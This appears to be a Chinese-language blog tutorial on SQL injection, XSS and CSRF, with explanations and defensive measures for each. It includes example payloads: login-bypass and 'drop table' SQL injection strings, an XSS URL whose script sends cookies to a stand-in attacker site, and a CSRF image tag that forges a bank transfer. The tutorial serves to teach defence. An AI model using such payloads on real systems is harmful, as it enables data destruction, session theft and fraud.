常见的Web攻击方式:SQL注入、XSS跨站脚本攻击、跨站点请求伪造

常见的Web攻击有SQL注入、XSS跨站脚本攻击、跨站点请求伪造共三类,下面分别简单介绍。

1 SQL注入

1.1 原理

       SQL注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入漏洞到底是以怎样的形式进行攻击的呢,接下来将以一个简单的实例来进行介绍。

       比如在一个登陆界面,有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证。

在这里插入图片描述

验证的SQL语句可以简单理解为:select * from student where username=‘输入的用户名’ and password=‘输入的密码’ ,如果能够检索到数据,说明验证通过,否则验证不通过。

如果用户在用户名文本框中输入 ’ or ‘1’ = ‘1’ or ‘1’ = ‘1,则验证的SQL语句变成:select * from student where username=" or ‘1’ = ‘1’ or ‘1’ = ‘1’ and password= "
如果用户在密码文本框中输入 1 ’ or ‘1 ‘=’ 1,则验证的SQL语句变成:select * from student where username=’’ and password=‘1’ or ‘1’=‘1’
以上两个SQL语句的where条件永远是成立的,所以验证永远是有效的。

另外,如果在用户名文本框中输入 tom’ ; drop table student- -,则SQL语句变成:

select * from student where username='tom' ; 
drop table student--' and password=''

这样就变成两条SQL语句,执行完查询操作,接着直接把student表给删除了(双连接符表示注释)。

1.2 防御措施

       通过上面的描述我们就很清楚的明白,黑客如果发现平台里有SQL注入漏洞,那么我们的平台就会轻而易举的被攻破了。那么我们如何写代码,才能实现对SQL注入攻击进行更好的防御呢。下面将分别介绍下防御措施:

1、永远不要信任用户的输入

对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双“-”进行转换等;具体表现如下:

①输入为数字参数则必须进行数字类型判断

如采用正则表达式:String characterPattern = “^\d+$”;

②输入为字符串参数则必须进行字符型合法性判断

如采用正则表达式:String characterPattern = ^[A-Za-z]*$;

③输入只允许包含某些特定的字符或字符的组合使用白名单进行输入校验,如email地址、日期、小数等:
String characterPattern = "^([a-z0-9A-Z]+[_-]?)+[a-z0-9A-Z]@(([a-z0-9A-Z]+[_-]?)+(-[a-z0-9A-Z]+)?\\.)+[a-zA-Z]{2,4}$"; //email正则表达式

④校验输入数据的长度

⑤校验输入数据的范围,如年龄为0~50之间的正整数

⑥将特殊字符单引号和双“-”进行转换。

2、永远不要使用动态拼装sql

可以使用参数化的sql或者直接使用存储过程进行数据查询存取。哪怕参数是常量,也请用预编译语句PreparedStatement,同时用占位符,如: “select * from table where comment like ?”。

注意:如果参数不是使用的占位符,即使用PreparedStatement执行时也并不是预编译。

3、永远不要使用管理员权限的数据库连接

为每个应用使用单独的有权限的数据库连接,这样能降低数据库密码被泄漏而带来的破坏。

4、不要把机密信息直接存放

加密或者hash掉密码和敏感的信息;如数据库连接密码、用户密码、设备密码需要加密存储。

5、应用的异常信息应该给出尽可能少的提示

最好使用自定义的错误信息对原始错误信息进行包装。

2 XSS跨站脚本攻击

2.1 原理

       XSS(Cross Site Scripting)跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,比如获取用户的Cookie,导航到恶意网站,携带木马等。XSS漏洞到底是以怎样的形式进行攻击的呢,接下来将通过两个不同的场景来进行介绍。

1、Dom-Based XSS 漏洞

基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS

攻击过程如下:小A发现了test.com中的Search.jsp页面有XSS漏洞,Search.jsp的代码如下:

<html>
    <title></title> 
	<body> 
    	Results  for  <%=request.getParameter("term")%>...  
	</body>  
</html>  

没有对term做任何过滤校验。

       小A 先建立一个网站http://badboy.com,用来接收“偷”来的信息。然后小A构造一个恶意的url(如下),通过某种方式(邮件,QQ)发给小B

http://test.com/search.asp?term=<script>window.open("http://badboy.com?cookie="+document.cookie)</script>

       小B点击了这个URL,嵌入在URL中的恶意Javascript代码就会在小B的浏览器中执行,那么小B在test.com网站的cookie,就会被发送到badboy网站中,这样小B在test.com的信息就被小A盗了。

2、Stored XSS(存储式XSS漏洞)

       如一个应用程序从数据库中查询数据,在页面中显示出来,攻击者在这个页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击,使得所有访问该页面的用户都面临信息泄露的可能。
在这里插入图片描述

攻击过程如下:

       小C发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,于是小C发布了一篇文章,文章中嵌入了恶意JavaScript代码。其他人如小D访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在小D的浏览器中执行,其会话cookie或者其他信息将被小C盗走。

Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户。

2.2 防御措施

针对XSS跨站脚本攻击,我们的防御原则是不相信用户输入的数据,对应的防御措施如下:

1、在cookie中不要存放一些敏感信息
       比如用户名、密码等安全信息,或者cookie中的信息采用加密的方式。最为有效的方式是将重要的cookie标记为http only,这样脚本中就不能访问这个cookie,就避免了XSS攻击利用JavaScript的document.cookie获取cookie:

2、输入过滤校验,对用户提交的数据进行有效性验证

       仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # \;过滤或移除特殊的Html标签, 例如: <script>, <iframe> , &lt; for <, &gt; for >, &quot for;过滤JavaScript 事件的标签,例如 "οnclick=", "onfocus" 等等。这里的数据校验除了前台要做,后台也要做。

3、DOM型的XSS攻击防御
  把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。

3 跨站点请求伪造

3.1 原理

       CSRF( Cross-site request forgery )尽管听起来很像XSS跨站脚本攻击,但是它于XSS完全不同。XSS是利用站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的站点,从而在并未授权的情况下执行在权限保护之下的操作。与XSS相比,CSRF攻击不大流行和难以防范,所以比XSS更具危险性。
在这里插入图片描述
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 :
1.登录受信任网站A,并在本地生成Cookie 。
2.在不退出A的情况下,访问危险网站B。

接下来通过实例来介绍什么是CSRF攻击

       受害者 tom 在银行有一笔存款,通过对银行的网站发送请求:http://bank.example/withdrawaccount=tom&amount=1000000&for=tom2 可以使 tom把 1000000 的存款转到 tom2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 tom 已经成功登陆。

       黑客 tom3 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。 tom3 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=tom3 。但是这个请求来自tom3 而非tom ,他不能通过安全认证,因此该请求不会起作用。

       这时,tom3 想到使用CSRF的攻击方式,他先自己做一个网站,在网站中放入如下代码:<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=tom3” />。并且通过广告等诱使 tom 来访问他的网站。当 tom访问该网站时,上述 url 就会从 tom 的浏览器发向银行,而这个请求会附带 tom 浏览器中的cookie一起发向银行服务器。

大多数情况下该请求会失败,因为他要求tom 的认证信息。但是

①如果tom当时恰巧刚访问他的银行后不久
②他的浏览器与银行网站之间的 session 尚未过期
③浏览器的 cookie 之中含有 tom 的认证信息

       这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 tom的账号转移到 tom3的账号,而 tom当时毫不知情。等以后 tom发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 tom3 则可以拿到钱后逍遥法外。

3.2 防御措施

       服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手:1、正确使用GET,POST和Cookie;2、在非GET请求中增加伪随机数,对应的防御措施如下:

1.对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field,或者每次操作都需要重新认证)。目前主流的做法是使用Token抵御CSRF攻击。CSRF攻击成功的条件在于攻击者能够预测所有的参数从而构造出合法的请求,所以我们可以加大这个预测的难度,加入一些黑客不能伪造的信息。我们在提交表单时,保持原有参数不变,另外添加一个参数Token,该值可以是随机并且加密的,当提交表单时,客户端也同时提交这个token,然后由服务端验证,验证通过才是有效的请求。但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。

2.通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie来防止CSRF攻击,对于关键操作我们应该采用post方法。

3.检查http请求中的referer的值,只有对referer中信任的站点才可以访问。所谓Referer,就是在一个网络请求头中的键值对,标示着目前的请求是从哪个页面过来的。服务器通过检查Referer的值,如果判断出Referer并非本站页面,而是一个外部站点的页面,那么我们就可以判断出这个请求是非法的。与此同时,我们也就检测到了一次csrf攻击。但是,服务器有时候并不能接收Referer值,所以单纯地只通过Referer来防御是不太合理的,它因此经常用于csrf的检测。

posted on 2020-01-11 11:19  spiritt  阅读(2299)  评论(0编辑  收藏  举报